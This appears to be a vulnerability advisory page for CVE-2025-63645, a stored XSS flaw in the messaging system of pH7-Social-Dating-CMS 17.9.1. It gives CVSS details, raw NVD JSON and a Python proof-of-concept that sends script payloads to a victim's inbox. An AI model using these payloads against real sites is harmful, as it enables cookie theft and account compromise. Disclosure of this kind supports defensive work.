Security Vulnerability Report
中文
CVE-2025-63645 CVSS 5.4 MEDIUM

CVE-2025-63645

Published: 2025-11-12 22:15:49
Last Modified: 2026-02-13 16:42:45

Description

A stored cross-site scripting (XSS) vulnerability exists in pH7Software pH7-Social-Dating-CMS 17.9.1 in the application's message system. Unsanitized message content submitted by one user is persisted by the server and later rendered in another user's Inbox view without appropriate context-aware encoding. As a result, attacker-controlled content executes in the recipient's browser context when the Inbox message is viewed.

CVSS Details

CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:ph7builder:ph7_social_dating_builder:17.9.1:-:*:*:*:*:*:* - VULNERABLE
pH7-Social-Dating-CMS 17.9.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import re # CVE-2025-63645 PoC - Stored XSS in pH7-Social-Dating-CMS message system # Target: pH7-Social-Dating-CMS 17.9.1 BASE_URL = "http://target-site.com" # Login as attacker session = requests.Session() login_data = { "email": "[email protected]", "password": "attacker_password" } login_response = session.post(f"{BASE_URL}/user/login", data=login_data) # Check if login successful if "Welcome" in login_response.text or login_response.status_code == 200: print("[+] Login successful") # Send malicious message with XSS payload xss_payloads = [ '<script>alert(document.cookie)</script>', '<img src=x onerror=alert(String.fromCharCode(88,83,83))>', '<svg/onload=alert(document.domain)>', "<iframe src='javascript:alert(document.cookie)'>" ] # Find victim user ID (enumerate or use known victim) victim_id = "victim_user_id" for payload in xss_payloads: message_data = { "to": victim_id, "subject": "Test Message", "content": payload, "send": "Send" } send_response = session.post( f"{BASE_URL}/mail/compose", data=message_data ) if send_response.status_code == 200: print(f"[+] Payload sent: {payload}") print(f"[*] When victim views inbox, XSS will execute") else: print("[-] Login failed") # Note: This PoC demonstrates the vulnerability concept. # In real attack, attacker would use victim credentials or # social engineering to get victim to view the message.

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-63645", "sourceIdentifier": "[email protected]", "published": "2025-11-12T22:15:49.387", "lastModified": "2026-02-13T16:42:45.310", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A stored cross-site scripting (XSS) vulnerability exists in pH7Software pH7-Social-Dating-CMS 17.9.1 in the application's message system. Unsanitized message content submitted by one user is persisted by the server and later rendered in another user's Inbox view without appropriate context-aware encoding. As a result, attacker-controlled content executes in the recipient's browser context when the Inbox message is viewed."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ph7builder:ph7_social_dating_builder:17.9.1:-:*:*:*:*:*:*", "matchCriteriaId": "13929C84-DF39-4EEC-9DE0-77E96A492E90"}]}]}], "references": [{"url": "https://drive.google.com/drive/folders/1u2o2NWHzClSjsNzhtkk1QvaDGisAXs2v", "source": "[email protected]", "tags": ["Exploit"]}, {"url": "https://medium.com/@rudranshsinghrajpurohit/cve-2025-63645-stored-cross-site-scripting-xss-vulnerability-in-ph7-social-dating-cms-8073ac4be5be", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}